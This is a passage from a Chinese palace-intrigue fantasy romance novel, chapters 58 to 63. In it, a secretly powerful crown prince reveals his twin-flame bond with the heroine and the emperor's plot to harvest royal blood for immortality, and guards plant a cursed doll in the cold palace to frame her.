萧景珩不再收敛,一股如同沉睡火山苏醒般的磅礴气势,以他为中心,无声地弥漫开来。
他只是静静地站立在那里,身姿挺拔如孤峰绝仞。
那双深不见底的黑眸里不再是深沉或病弱,而是如同执掌生死的君王般,眸底深处是冰冷威严,带着俯瞰蝼蚁般的漠然!
那苍白的面容,非但不是弱点,反而更添了几分深不可测的邪异魅力!
病弱太子与暗夜主宰!
两个截然不同的身份,在他身上完美地融合、碰撞,形成一种惊心动魄且令人窒息的强大气场。
萧景珩微微抬手,动作随意却带着不容置疑的威仪。
“起。”
一个字,低沉平静。
跪地的血鸦卫齐刷刷地起身,动作迅捷无声,如同训练有素的精密机器,重新融入到周围的阴影之中,只留下空旷的演武场。
萧景珩这才缓缓转过身,黑眸平静地看向林绾绾。
“这里,暂时安全。”他的声音恢复了往日的低沉沙哑,却不再刻意掩饰那份属于上位者的从容,“寒鸦。”
“属下在。”一个身影悄无声息地从旁边阴影中闪出,正是之前在听雨轩接应林绾绾的血鸦卫。
他依旧带着乌金面具,声音冰冷无波。
“带这位小荷姑娘去休整一下。”萧景珩吩咐道。
“是。”寒鸦躬身领命,带着小荷离开。
在林绾绾没有注意的地方,小荷的眼神从怯懦变得越来越坚毅。
两人一同消失在远处一间石室的通道中。
偌大的演武场边缘,只剩下林绾绾和萧景珩两人。
令人窒息的沉默在二人之间交织。
冰冷的金属地面反射着穹顶晶石的冷光,空气里满是萧景珩身上独有的冷冽寒香。
林绾绾站在原地,感觉全身血液都在奔涌。
无数的疑问在心中交织,翻腾。
“你,到底为什么三番两次救我?还这么帮我?”林绾绾终于开口,带着一丝不易察觉的颤抖,打破了沉寂。
萧景珩静静地注视着她,看着她因激动而微微起伏的胸膛。
他没有立刻回答,只是缓缓抬起手,伸向自己玄色大氅的领口。
林绾绾吃了一惊!
他要做什么?
只见他修长的手指,解开了领口处那枚盘龙玉扣。
接着是第二颗,第三颗…
玄色的大氅被他褪下,随意地搭在臂弯。
里面依旧
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是那件素白的**袍,但领口已经微微敞开。
他继续抬手,指尖落在**袍左肩下方,靠近锁骨末端的位置——
那里,正是与她心口一模一样的火焰印记所在!
他的指尖缓慢而坚定,轻轻拂开了遮掩的衣料。
冷白的光线下,那抹妖异的、如同在皮肉下燃烧跳动的赤红色火焰纹路,清晰地暴露在空气中。
形状、大小、甚至那火焰跳动的韵律感,都如同她心口那个印记的镜中倒影。
双生火焰,毫无遮掩地呈现在她眼前。
“因为这个。”萧景珩每一个字都带着沉甸甸的分量。
他的目光紧紧锁定林绾绾的双眼,“也因为你自己!”
“因为…十五年前,寝殿里,那个被吓掉了手中糕点的小女孩。”
原来梦里的画面都是真的。
那个在父亲为小男孩施针时、怯生生探头的小女孩...
那个被呵斥、吓得掉落了点心的小女孩…
小林绾绾!
他竟然记得!
在深宫病榻上痛苦挣扎的小太子,竟然记得那个只有一面之缘、连名字都不知道的小姑娘!
一种酸涩瞬间席卷了她。
林绾绾看着萧景珩锁骨处与自己心口相互呼应的火焰印记,看着他那双深不见底、此刻清晰地倒映着她震惊与茫然的黑眸…
“那药箱…”她声音颤抖,几乎语不成句,“父亲的药箱,在他被**那天…”
“确实是我拿走的。”萧景珩没有丝毫犹豫,坦然承认。
他的目光坦荡而深邃,带着一种穿透时光的复杂。
“那时…我以为那里面有林家招致祸患的根源。拿走它,或许能切断一些线索,保你一线生机。”
萧景珩的声音沉了下去,带着沙哑,“只是没有想到…终究还是迟了。”
迟了…林家满门…还是被屠戮殆尽…
真相如同一把冰冷的钝刀,狠狠刨开了尘封的疤痕。
眼前这个男人所做的一切,并非为了掠夺,而是一种笨拙的保护。
若非他一次次的出手,自己早已尸骨无存!
一种复杂难言的情绪,如同雨后春笋般在心间悄然滋生…
第59章 独处一室
林绾绾看着站在自己跟前,目光坚定的萧景珩,心中五味杂陈。
眼前的他褪去了太子的伪装,展露着血鸦阁主的强大与冷酷,却又在自己跟前亲手剖开心底的隐秘。
他脸色苍白,后背与肩头上血迹刺目。
为了救自己,他是旧伤未愈又添新伤。
那双黑眸此刻带着坦荡与某种孤注一掷的期待。
林绾绾感觉自己心口的火焰纹路,不受控制的剧烈跳动起来。一股灼热的暖流自印记深处汹涌而出,瞬间流遍四肢。
与此同时,萧景珩身上的火焰印记也收到了强烈的共鸣,爆发出灼目的赤红光芒。
两道同源的力量如同无形的桥梁,跨越了两人之间数尺的距离,轰然连接。
萧景珩捂住胸口闷哼一声,身体不受控制地微微一晃。
他清晰地感受到一股精纯而灼热的能量,顺着双生火焰的链接,汹涌地钻入他的经脉。
这股力量霸道而温暖,如同滚烫的岩浆,冲刷着他体内盘踞的玄冥寒毒阴寒的死气。
“滋滋…”
细微的、如同冰雪消融的声音仿佛在萧景珩体内响起。
他苍白的脸色竟以肉眼可见的速度,泛起了一层极淡却真实存在的血色。
紧蹙的眉峰微微舒展,一直萦绕在眉宇间的沉郁病气,被这突如其来的暖流驱散了不少。
是反哺!
双生火焰的共鸣,此刻竟似有一股力量觉醒。
林绾绾情绪剧烈波动、血脉力量激荡时,竟对同源的萧景珩产生了强大的反哺滋养!
就在这时,一个略显急促的声音打破了这奇异的共鸣。
“阁主!”一名血鸦卫出现在不远处,单膝跪地,手中捧着一卷用火漆封着的细小黑筒。
“北漠‘孤狼’急报!凝霜馆有异动!笛声代表‘归巢’!”
北漠!凝霜馆!赫连灼!
林绾绾从心脉共鸣的悸动中惊醒。
萧景珩眼中刚刚因力量滋养而泛起的微澜被冰冷的锐利取代。
他迅速收敛了外溢的气息,心口的火焰印记光芒内敛。
他接过那枚黑筒,指尖用力捏碎火漆,抽出里面卷着的薄如蝉翼的素帛。
目光飞快扫过上面的内容,薄唇紧抿成一条冰冷的直线。
“知道了。告诉‘孤狼’,按兵不动,静观其变。”
萧景珩声音低沉,带着掌控全局的冷冽。
他将素帛随手丢给那名血鸦卫,后者躬身,瞬间消失在阴影中。
处理完急报,萧景珩的目光重新落回到林绾绾身上。
林绾绾此刻背靠着石壁,脸上还有一丝奇异的红晕。
“你累了,也伤了。这里的事,稍后再说。先疗伤吧。”
萧景珩的声音恢复了之前的语调,没有再继续解释什么,只是上前一步,不由分说地抓起了林绾绾的手腕。
这一次,他的掌心不再冰冷,反而带着一丝因力量滋养而残留的微暖,透过单薄的衣衫和冰凉的肌肤传递过来。
他牵着林绾绾,转身朝着演武场深处,那排被改造成炼药房的石室走去。
炼药房内,巨大的药鼎散发着余温,空气中到处都是各种草药混合的奇异香气。
萧景珩将林绾绾带到一张宽大的、铺着干净白色兽皮的石榻旁。
“坐下。”
他松开了林绾绾的手,声音带着命令式的简洁。
随即转身走向一旁巨大的药材架,动作熟练而精准地取下几个玉盒和瓷瓶。
林绾绾依言坐下,冰凉的兽皮触感让她微微一颤。
她看着萧景珩取药的动作行云流水,带着一种医者般的专注和熟稔,完全不同于那个病弱咳血的太子,也不同于血鸦阁主杀伐决断的冷酷。
这个男人…到底有多少面?
萧景珩拿着药回到石榻边。
他打开手中玉盒,里面是散发着清凉气息的淡绿色药膏,然后又拿起一个干净的白玉药杵,蘸取药膏,随后看向林绾绾。
“你的伤口需要重新处理。”
他的目光落在林绾绾的左肩胛位置,语气平淡无波,像是在说今天天气真好那般云淡风轻。
林绾绾的心猛地一跳!
她下意识地抓紧了自己的衣襟。
此刻,在这密闭的空间里,面对他…要褪下衣衫让他上药?
难以言喻的窘迫和紧张爬上她的脸
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颊。
萧景珩似乎看穿了她的迟疑。
他没有催促,只是静静地看着林绾绾,黑眸里没有狎昵,只有一种纯粹地审视伤情的平静。
但这种平静,反而让林绾绾更加无所适从。
“我…我自己来就好。”林绾绾伸手想去拿萧景珩手中的药杵。
萧景珩却微微向后一撤,避开了林绾绾的动作。
他的目光落在林绾绾因紧张而染上红晕的脸颊,薄唇几不可查地动了一下。
“你自己处理不好。”他的声音依旧低沉平静,却带着一种不容置疑的坚持,“或者,让寒鸦来?”
让那个冷冰冰、戴着面具的血鸦卫来上药?
林绾绾瞬间打了个寒颤!她宁可…
看着眼前这个坚持己见的男人,林绾绾咬了咬牙,心底那点羞赧最终还是被现实的无奈压了下去。
她垂下眼帘,长长的睫毛如同受惊的蝶翼般微微颤抖,用极低的声音答道:“还是你来吧。”
她极其僵硬地转过身,背对着萧景珩。
手指颤抖着解开腰间的系带,然后一层层褪下左肩的衣衫。
冰冷的空气接触到裸露的肌肤,激起一阵细小的战栗。
光滑白皙的肩背裸露在冷白的光线下,蚀骨掌毒残留的紫黑色印记,显得格外狰狞刺目。
林绾绾死死低着头,将脸埋在臂弯里,不敢回头,耳朵却敏锐地捕捉着身后每一个细微的声响。
她能感觉到萧景珩的靠近,感觉到他带着薄茧的指尖轻轻拂开她散落在背上的发丝…
萧景珩的动作很轻,很稳,带着专注。
冰凉的药膏被温润的白玉杵蘸取,然后轻柔地涂抹在伤口上。
药力丝丝缕缕渗入到肌肤中,带来凉爽的舒缓感。
然而,比药膏更清晰的,是萧景珩指尖偶尔不经意划过她完好肌肤时带来的、如同电流般的微麻触感,还有喷洒在她后颈处的、温热而平稳的呼吸…
萧景珩身上独有的冷香,混合着淡淡的血腥气,形成一种复杂而强烈的男性气息,将她层层包裹…
寂静的石室内,空气仿佛都凝固一般,处处弥漫着微妙悸动的暧昧。
第60章 皇室诡秘
不知过了多久,萧景珩低沉的声音打破了沉寂。
“好了。”
他收回手,将药杵放回了玉盒。
林绾绾如蒙大赦,立刻慌乱地拉上衣衫,手指因紧张而略显笨拙地系着衣带,脸上滚烫一片,不敢回头看他。
“再服下这个。”
萧景珩似乎并未在意她的慌乱,将一颗褐色药丸递到她跟前,“固本培元,有助于你控制体内新生的力量。”
林绾绾低着头,接过药丸,迅速塞入口中。
清凉的药丸入口即化,一股温和的暖流散开,确实让她因情绪剧烈波动而紊乱的气息平复了不少。
她努力平复心情,鼓足勇气,缓缓抬起头看向萧景珩。
他正背对着自己,将用过的药杵和玉盒放回原处。
素白的**袍勾勒出他挺拔的肩背线条,左肩后背处洇开的血迹如同一朵刺目的红花。
他看起来似乎有些疲惫,微微低着头,一手撑在摆放药材的石台上,身形透着一丝不易察觉的僵硬。
林绾绾犹豫了一下,最终还是低声开口,声音里是自己都未曾察觉的关切:“你的伤...也需要尽快处理。”
萧景珩闻言,动作顿了一下。
他没有回头,只是低沉地“嗯”了一下,算是回应。
就在这时!
“笃!笃笃!”
一种带着特殊节奏的敲击声,从石室角落一个嵌入石壁的乌金管道口传来。
那管道口仅拇指粗细,深不见底。
萧景珩猛地转身,眼中锐光爆射。
他快步走到管道口旁,毫不犹豫将腰间血鸦令尾部的血滴宝石,精准按在管道口边缘一个同样猩红的凹槽内。
“咔哒!”
一声轻响,管道口下方一块巴掌大小的暗格弹开。
暗格内,静静躺着一枚鸽子蛋大小,通体乌黑的蜡丸。
蜡丸散发着浓重的阴冷潮气和若有若无的铁锈腥气。
萧景珩迅速取出蜡丸,指尖发力,坚硬冰冷的蜡壳应声碎裂。
蜡壳内,是一小块薄如蝉翼的深褐色皮膜,上面用暗红色的蝇头小字书写着信息,铁锈腥气就是从字迹上传出来的。
他目光如电扫过皮膜字迹,下颌线紧绷,周身散发着的寒意几乎要将空气冻结。
一股滔天的怒火与冰冷的杀意在他眼底不停的翻涌。
许久后,萧景珩将皮膜递给林绾绾。
“皇陵异动,‘药人’狂躁!‘炉火’不稳,需新‘引’!帝欲寻‘金昙’或‘圣血’!”
字迹如同燃烧的火焰,处处透漏着冰冷而急切的气息。
金昙?圣血?似乎有什么惊天隐秘马上就要在她眼前揭开。
萧景珩背对着她,垂在身侧的手,紧握成拳,指节泛白,手背上的青筋根根爆起。
素白**袍下的肩背线条绷紧如拉满的弓弦,肩背处洇开的血迹更加刺目。
一股压抑到极致的冰冷杀意,以他为中心扩散开,让这件石室内的温度骤降。
良久后,萧景珩才平复下暴戾的心情,僵硬地转过身。
他的眼眸如同是投入了万年寒冰的深渊,翻涌着足以冻结灵魂的冰冷怒火和一种刻骨的悲恸。
终于,萧景珩的薄唇微微翕动,吐出的每一个字都重若千斤:
“三年前,早夭的六公主萧玉宁,尸身被秘密送入皇陵,棺内陪葬的玉蝉内藏有‘血凤凰木’根须。”
“五年前,病故的睿亲王世子萧承瑞,年仅十岁,死后三日,其心口精血被以‘祭祖’之名取走,随后尸身也下落不明。”
“还有…八年前,先帝最年幼的公主,我的姑姑…昭阳长公主…产后‘血崩’而亡,其襁褓内的婴孩,不足满月便‘突发急症’夭折…母子二人的尸骨至今都未寻获!”
萧景珩平静地叙述着这些被深埋于皇权之下的、令人毛骨悚然的血腥真相。
每一个名字,都像是一把冰冷的**,狠狠刺入他自己的心脏。
“他们…都是至纯的皇室血脉…是皇帝眼中最好的‘药引’!”
萧景珩眼中冰冷的怒火随着话语彻底爆发,如同压抑万年的火山喷涌。
“皇帝做这一切,只是为了他那虚无缥缈的长生梦!为了炼制那逆天改命的‘长生蛊’!他早就丧失了人心和人性,早已…丧
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心病狂!”
长生蛊!
用亲生骨血乃至至亲之人的血肉炼制长生蛊!
巨大的恶心感冲垮了林绾绾所有的恐惧。
她只觉得腥甜直冲喉头,胃里翻江倒海,只有死死捂住嘴,才没有当场呕吐出来。
“真是禽兽不如!”林绾绾低声嘶吼。
林家血仇,九皇子**,在与这累累白骨、罄竹难书的罪恶相比,竟显得如此“渺小”!
皇帝萧胤,他早已不是人!
是拼着人皮贪婪残忍的魔鬼!
“九弟身上的紫斑,是蛊毒与血凤凰木邪力侵蚀的印记,也是他作为‘燃料’被投入炼丹炉前的最后准备!”
“而我!却因为这一身寒毒,反而逃过了做‘药引’的命运,成为了皇室中唯一长命的皇子,也变成了皇帝眼中可以成为挡箭牌的‘储君’。”
萧景珩的声音里满是颤抖:“柳氏不过是奉皇帝密令行事的一环!他们所有人都只是皇帝手中沾血的刀!”
“炼丹炉中的燃料,我不是第一个,而九弟也绝不会是最后一个…”
所有的线索在这一刻被彻底贯通!
九皇子死因的悬疑,柳氏最后模糊不清的话语…
背后那只翻云覆雨,操控一切的幕后黑手...
正是那端**、道貌岸然的——
皇帝,萧胤!
林绾绾浑身冰冷,如同置身冰窟。
“为什么…告诉我这些?”她抬起头,直视着萧景珩那双燃火的黑眸。
“你难道不怕我…承受不住这个事实,转身投靠皇帝,用这些换取荣华富贵?”
林绾绾的话语中带着一丝尖锐的自嘲和试探。
萧景珩缓缓抬手,修长的手指轻轻拂过自己锁骨末端那处火焰印记。
“因为你心口的火焰,早已告诉了我答案。也因为,在这条通往地狱的路上,你和我早已是同一条藤上的双生火焰。要么我们一起焚尽污浊,要么…我们一起沉沦…”
这如同誓言般的言语,带着决绝和沉重的信任,狠狠撞在林绾绾心上。
一股来自生命深处的宿命感,将她的恐惧和疑虑全部压下。
第61章 渊阁燃夜
“阁主!”
寒鸦冰冷无波的声音在石室门外响起,“‘渊阁’已经备好了。”
萧景珩眼中的情绪瞬间收敛,恢复了掌握一切的沉静。
“跟我来。”不再过多言语,他转身率先走出石室。
林绾绾深吸一口气,压下翻腾的心绪,紧随其后。
穿过弥漫着药香和金属冷气的炼药区域,沿着一条更加幽深、两侧石壁雕刻着古老火焰与星辰图腾的甬道向下行走。
甬道尽头,又是一扇紧闭的石门。
这扇门比入口的血鸦石门小了许多,通体是温润内敛的墨玉色,门上刻着一个极其复杂,仿佛由无数星辰轨迹交织而成的圆形徽记。
徽记中心,是一枚小小的、燃烧着金红火焰的图形,与林绾绾心口的火焰印记形状一模一样。
萧景珩再次取出血鸦令,将石门打开。
门内是一片令人心神宁静的、如同星空般的幽蓝。
整个空间不算太大,黑色的石壁上面用流动着淡淡金色的线条,镌刻着无数奥妙复杂的经络图、人体窍**、奇异的草药图谱以及…密密麻麻、形状各异的古老符文。
空间中央,没有任何多余的陈设,只有一张巨大的、通体由温润白玉雕琢而成的圆形平台。
平台表面光滑如镜,隐隐有柔和的光晕流转。
平台四周的地面上,镶嵌着七块颜色各异、散发着不同属性气息的晶石,按照北斗七星的方位排列,形成一个能量涌动的小型阵法。
这里的气息,古老、纯净、充满了磅礴的生机,与外面的肃杀冰冷截然不同。
“你心脉中的力量慢慢开始苏醒,但仅凭你现在的能力是无法灵活运用它的。这里的力量,能舒缓你体内的血脉之力,也能助你更快掌控它。”
萧景珩的声音在幽蓝的星光下显得异常清晰。
他走到白玉平台旁,“上来,盘膝坐好。”
林绾绾依言走上平台。
白玉触手温润,一股清凉而精纯的能量瞬间从接触点涌入她的四肢,抚平了之前因为愤怒和恐惧而躁动的气血,连心口的灼热都似乎安分了许多。
她盘膝坐下,感受着身下白玉平台和四周北斗晶石散发出的能量场。
她感觉自己如同置身于温暖的泉水中,精神也为之一振。
萧景珩站在平台边缘,并未上去。
他看着林绾绾坐定,沉声道:“闭目,凝神。摒弃杂念,将你的意识沉入心口火焰印记之中,试着去感受火焰跳动的韵律,去捕捉血脉深处流淌的力量。”
他的声音带着奇异的引导力量,如同古寺的晨钟,穿透纷乱的思绪,直达心灵深处。
林绾绾深吸一口气,缓缓闭上双眼。
她努力将皇帝狰狞的面孔,九皇子尸身上的紫斑…所有恐怖的画面强行驱散。
意识如同沉入平静的湖底,一点点下沉,最终聚焦在心口那处灼热跳动的火焰印记之上。
印记深处,一个灼热的力量开始在她的感知中缓缓流淌。
她尝试着用自己的意念去触碰、引导这股力量。
然而,这力量远比她想象的更加霸道狂野!
意念刚刚接触,那力量便如同脱缰的野马,在她脆弱的经脉中左冲右突。
剧烈的灼痛感席卷全身。
她闷哼一声,身体控制不住地颤抖,额角渗出细密的冷汗。
“静心!”
萧景珩低沉的喝声如同惊雷,瞬间将她从失控的边缘拉回。
“不要试图强行控制!去感受它,如同感受你的呼吸!让它…成为你的一部分!”
林绾绾咬紧牙关,强迫自己冷静下来。
她不再试图命令那股力量,而是如同萧景珩所说,将全部心神沉浸其中,去感受火焰每一次跳动的频率,去体会力量在血脉中奔流的轨迹…
奇妙的事情发生了!
当她放弃对抗,转为接纳和感知时,那股狂暴的力量竟真的渐渐变得温顺。
虽然依旧灼热奔腾,却不再横冲直撞,而是开始沿着某种奇妙的路径缓缓流动。
“很好。”萧景珩的声音带着赞许,“现在,抬起你的双手,拇指与中指相扣,
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其余三指自然伸展…对,就是这样…想象你指尖凝聚着心口的火焰…将它缓缓引导至指尖…”
林绾绾依言,按照他描述的姿势结出一个手印。
意念高度集中,引导着心口灼热的能量流,沿着手臂的经脉,缓缓流向指尖。
她能感觉到那股力量,在脆弱的经脉中奔流,在带来撕裂般的痛苦同时,却也伴随着一种脱胎换骨般的舒畅。
汗水浸透了她的鬓发和后背,但她死死咬着牙,全神贯注!
就在那灼热的力量即将抵达指尖的瞬间——
“铮--!”
一阵极其突兀,充满了杀伐之气的金铁交鸣之声,如同平地惊雷,猛地从渊阁入口的方向炸响。
紧接着,是数道凌厉的破空声和短促的闷哼。
有人强闯渊阁!
突如其来的巨大声响,重重砸在林绾绾高度紧张的心神之上。
“噗--!”
林绾绾心神剧震,体内那股刚刚被引导至指尖边缘的火焰之力瞬间失控,如同被激怒的火山,轰然反噬!
“呃啊!”林绾绾发出一声痛苦的惨叫。
失控的力量在她脆弱的经脉中疯狂肆虐,眼前被一片赤金色的火焰幻象所充斥,无数火焰符文在她识海中炸裂,鲜血不受控制地从她嘴角溢出。
“小心!”
萧景珩瞳孔骤缩,反应快如闪电。
他一步跨上白玉平台,身形瞬间出现在林绾绾身后。
他一只手臂如同铁箍般,稳稳揽住林绾绾即将向后倒下的腰肢。
另一只手则快如幻影,闪电般并指如剑,带着凝练的寒芒,精准无比地点向林绾绾心口那剧烈跳动,仿佛下一刻就要破体而出的火焰纹路处!
双指触及印记的瞬间,一股磅礴、沉凝的冰冷力量自萧景珩指尖汹涌灌入到林绾绾火焰纹路处。
这股力量如同九天寒瀑,带着强大的威压,强行**住林绾绾体内失控暴走的火焰洪流。
冷与热!冰与火!
两股同源却属性截然相反的力量,在林绾绾心口轰然对撞!
第62章 双焰灼夜
林绾绾只感觉一股要将灵魂撕裂的剧痛瞬间席卷全身。
身体在萧景珩的臂弯中痉挛、颤抖,冷汗浸透了衣衫!
林绾绾痛苦地仰起头,脖颈拉出一道脆弱的弧线,苍白的脸上因剧痛而露出扭曲的神情。
萧景珩抿着唇,脸色比林绾绾更加苍白。
强行引动寒毒本源压制同源却狂暴的火焰之力,对他本就重伤未愈的身体是巨大的负担。
肩背上的伤口在力量的冲击下,鲜血大量涌出,迅速染红了他素白的**袍。
但他揽着林绾绾腰肢的手臂却稳如磐石,点在她心口的手指更是没有丝毫颤抖。
他源源不断地向林绾绾体内输送着冰冷的力量,如同最坚固的堤坝,死死挡住那肆虐的洪流!
两人的身体紧紧相贴。
林绾绾单薄的背脊紧靠着萧景珩宽阔的胸膛。
隔着衣料,她能清晰感觉到萧景珩胸膛剧烈的起伏和强健有力的心跳。
萧景珩灼热的呼吸喷洒在她汗湿的颈侧,手臂的力量也带着绝对的掌控和保护。
冰与火的剧烈冲突,带来极致的痛苦,但在这极致痛苦的交融中,也产生了一种奇异而霸道的平衡。
林绾绾体内那失控的火焰之力,在这股同源寒力的引导和**下,如同被驯服的野马,开始缓缓归于平静,沿着某种更加玄奥的轨迹流淌。
痛苦渐渐消退,取而代之的,是一种前所未有的力量与经脉完美契合的舒畅感。
仿佛是堵塞河流被强行冲开,变得更加宽阔坚韧!
不知过了多久。
识海中狂暴的赤金色火焰幻象渐渐淡去,林绾绾急促的呼吸也渐渐平复。
她身体停止了痉挛,软软地靠在萧景珩的怀抱中。
萧景珩缓缓收回了点在林绾绾心口的手指,紧绷的身体微微放松,但揽在她腰间的手臂却并未立刻松开。
他低头,看着怀中女子苍白汗湿的侧脸和颤抖的长睫,深邃的黑眸中翻涌着复杂的情绪——
有未散的余怒,有深沉的疲惫,还有后怕的紧张…
“阁主!”寒鸦冰冷的声音响起,带着一丝凝重,出现在渊阁入口处。
他身上还带着淡淡的血腥气,“闯入者已经全部解决。是‘影殿’的余孽,共三人。”
影殿!
皇帝自己创造的最大的暗杀机构!
他的手,果然已经迫不及待地伸向了这里!
萧景珩周身刚刚平复的杀意再次翻腾。
他轻轻松开了揽着林绾绾的手臂,动作带着一丝僵硬。
失去支撑的林绾绾身体微微一晃,伸手扶住了冰冷的白玉平台边缘。
她抬起头,正对上萧景珩此刻燃烧着冰冷怒火的黑眸,让人看了触目惊心。
“他...等不及了。”
萧景珩的声音低沉得可怕,每一个字都像是从冰碴里刨出来一般,“看来,‘圣血’的诱惑,比我想象的...更让他疯狂!”
林绾绾听到这些,心沉了下去,恐惧再次袭来。
她感觉萧景珩隐藏最深的秘密还是没有告诉她,总感觉他在刻意隐瞒着什么。
但,当她看到萧景珩身上被血色染透的衣衫,想到他方才不顾自身,强行压制自己失控力量的举动,所有的惊惧随之又被一种奇异的安心感取代。
“你的伤...还是要赶快处理一下...”林绾绾低声开口,声音满是关切。
萧景珩的目光从渊阁入口收回,落在林绾绾苍白的脸上。
他没有回应林绾绾的关切,只是沉声道:“你体内的力量刚刚平息,但还很脆弱。留在这里,渊阁的力量能助你稳固。我先去处理别的事,青蚨会守着你。”
话音刚落,一个娇小的身影便无声无息地出现在渊阁入口处。
来人不是别人,正是之前被带下去的小荷!
然而,此刻的小荷,却与冷宫中那个怯懦畏缩的小宫女判若两人。
她依旧穿着那身洗得发白的旧宫装,但身姿却挺拔如松,周身散发着一种内敛的煞气。
那张蜡黄的小脸上,再无半分惊惶,只剩下属于战士的沉静和警惕。
她面对萧景珩的方向,单膝跪地,动作干净利落,声音清脆:“癸字营暗卫,代号‘青蚨’
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,奉命守护林小姐!请阁主放心!”
林绾绾看着眼前这个完全颠覆了印象的“小荷”,巨大的震惊席卷了她。
原来冷宫中那怯生生的模样,竟全是伪装!
她竟然是萧景珩安插在冷宫的暗卫。
难怪她在冷宫中能那么快找到干净的布条和水,在冷宫遇袭时,还能那么镇定...
萧景珩微微颔首,目光扫过青蚨,目光沉沉地落到林绾绾身上,眼中多了一丝沉重。
“此地安全,你抓紧时间稳固力量。其他的...交给我!”
他说完,不再停留,转身大步朝着渊阁门口走去,玄色**袍的下摆带起一阵冷风。
寒鸦和青蚨紧随其后。
沉重的墨玉石门无声滑开,又再次无声关闭,将萧景珩的背影隔绝在外。
渊阁内,重新恢复了宁静,只剩下林绾绾一人,坐在巨大的白玉石台上。
心口传来微弱的暖意,体内新生的力量在渊阁能量的滋养下缓缓流淌。
火焰印记如同温顺的精灵,在血脉中无声地跳跃、燃烧。
皇帝的长生阴谋,萧景珩亲人们的性命...
她能帮上忙的地方简直是微乎其微!
力量...的确!她现在需要更多的力量!
林绾绾深吸一口气,压下所有纷乱的情绪,再次盘膝坐下,闭目凝神。
这一次,她的意志更加坚定,引导着心口的暖流,沿着方才被强行冲开的、更加宽阔坚韧的经脉,缓缓运行。
就在林绾绾沉浸于力量之时,门外的萧景珩透过石窗往里看了一眼,面上勾起一抹自己都未曾留意的温柔。
青蚨忍不住出声:“阁主,我们真的不告诉林姑娘火焰印记的真相吗?如果有一天,她知道了全部真相,我只怕她会怨您...”
“你的话太多了...”未等青蚨说完,萧景珩便冷冷打断,“怎么说,怎么做,孤心里有数。你的任务就是保护好她!”
“我这么做也是为了保护她...”
剩下的话语如同呢喃一般,随着萧景珩转身,一同消散在血鸦阁练武场内。
第63章 冷宫栽赃
冷宫,栖梧苑。
殿门被粗暴踹开的巨响,撕裂了栖梧苑死寂的空气。
数十名御前侍卫,如同黑色的铁流一般涌入这破败的囚笼。
冰冷的刀锋反射着冬日惨淡的天光,沉重的皮靴踏碎了庭院里枯死的荒草,同时带起呛人的灰尘。
“有人御前呈供,说林绾绾私藏违禁物品!现奉旨搜查!任何人不得阻拦!”
侍卫统领是一个面容冷硬的中年汉子,他的声音如同淬了冰的钢钉,**在殿内唯一的人——
蜷缩在土炕角落,瑟瑟发抖的小宫女“小荷”身上。
“仔细搜!任何角落都不能放过!尤其是...巫蛊邪物相关的物件!”
命令下达得极其明确!目标直指“巫蛊邪物”!
侍卫们沉重的脚步散开,如狼似虎,动作粗暴而高效。
他们用刀鞘狠狠敲击着冰冷的地面和墙壁,发出沉闷的响动。
他们掀翻破烂的箩筐,劈开腐朽的房梁残骸,甚至有人用长矛探入布满蛛网的阴暗角落,搅动起陈年的积灰。
他们肆无忌惮地刮擦着冷宫的每一寸土地。
整个栖梧苑瞬间被翻了个底朝天,如同被暴风肆虐过的废墟。
“小荷”将身体缩得更紧,头深深埋进膝盖里,肩膀因“极度恐惧”而瑟瑟发抖,口中发出细碎而压抑的呜咽。
然而,她那双藏在凌乱发丝后的眼睛,却是一片冰封湖泊般的沉静。
今天一早,在接到其他潜伏在皇宫内同伴的预警后,血鸦阁就派了另一个暗卫,代替青蚨返回到冷宫内蛰伏起来,伺机行动。
她看着大内侍卫的这些做派,心中已是焦急万分。
皇帝最终还是出手了!
而且这一出手,便是如此下作的栽赃!
看作昨夜冷宫的刺杀的真正目的,不在于“杀”,而在于“藏”!
私藏巫蛊之物,那可是比“荧惑妖星”更恶毒,更能触怒皇亲宗室的底线!
如今林姑娘在渊阁修整身体,正是最关键的时刻,无法分身重新回到冷宫。
皇帝在此刻搜出“邪物”,再坐实林姑娘“畏罪潜逃”,便能将“荧惑妖星”的污名彻底钉死,甚至会牵连到太子!
一石数鸟!好阴狠的毒计!
“头儿!炕上有发现!”一个侍卫的声音带着刻意拔高的兴奋,从土炕的方向传来。
侍卫统领眼中寒光一闪,立刻大步走了过去。
只见一名侍卫正从土炕那薄薄的、打着补丁的破褥子下面,小心翼翼地抽出一个巴掌大小、用粗劣麻布缝制的人偶!
人偶身上,歪歪扭扭地绣着明黄色的龙纹图案。
最刺眼的是,人偶的心口和四肢关节处,密密麻麻地扎满了泛着幽蓝色光泽的细针。
针尖上,似乎还涂抹着某种暗红色的、散发着淡淡腥气的可疑粘稠物。
殿内瞬间响起一片压抑的抽泣声。
所有侍卫的脸色都变了,侍卫统领的脸色变得尤其难看!
巫蛊胜厌!
扎满**的龙纹人偶!
这可是诅咒天子,大逆不道,诛九族的死罪!
“好!好一个妖女!”侍卫统领脸上瞬间布满震怒和难以置信。
他一把夺过人偶,捧着这个最恶毒的罪证,厉声咆哮:
“证据确凿!林绾绾不仅身负‘荧惑妖星’的污名,还畏罪潜逃!更胆敢行此大逆不道,诅咒天子的巫蛊邪术!简直罪该万死!”
接着转头向身边的侍卫们吩咐道:
“立刻将此人偶呈送给陛下与太后!栖梧苑彻底封禁,一只苍蝇都不许飞出去!加派人手,搜捕妖女林绾绾,就是掘地三尺,也要把她给我找出来!”
“是!”
侍卫们齐声应诺,大家看向那人偶的眼神,都充满了厌恶和恐惧。
“小荷”在亲眼见证到发生的事情后,呜咽声戛然而止,身体抖得如同风中落叶,仿佛也被这“惊天发现”彻底吓傻了。
然而,她低垂的眼帘下,冰冷的眸光却如同淬毒的**!
栽赃!
赤裸裸的栽赃!
手法并不高明,甚至有些粗糙,但胜在时机准确,罪名恶毒!
等着人偶呈到皇帝和太后跟前,当权者的震怒之下,谁还会去探究这人偶是否真的出自林小姐之手?
皇帝要的,只是一个名正言顺
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,彻底抹杀林小姐的理由罢了!
“咱们走!”
侍卫统领将那人偶用一方黄绸郑重其事地包好,如同捧着烫手山芋一般,厉声下令。
侍卫们迅速退出栖梧苑,沉重的殿门再次落锁,留下的是更加死寂的废墟和被“吓傻”的“小荷”。
待人全部撤离,“小荷”缓缓抬起头,脸上哪里还有半分惊惧,只剩下一片冰冷的杀意和凝重。
她迅速起身,极其敏捷地闪身到殿门后,屏气凝神地观察着周围的动静。
直到确认周围确实没有可疑的人在,她才走到殿内一个不起眼的角落,手指在几块松动的墙砖上以特定的节奏快速敲击了几下。
“咔嚓”一声轻响,一块墙砖向内凹陷,露出一个仅容手指探入的暗格。
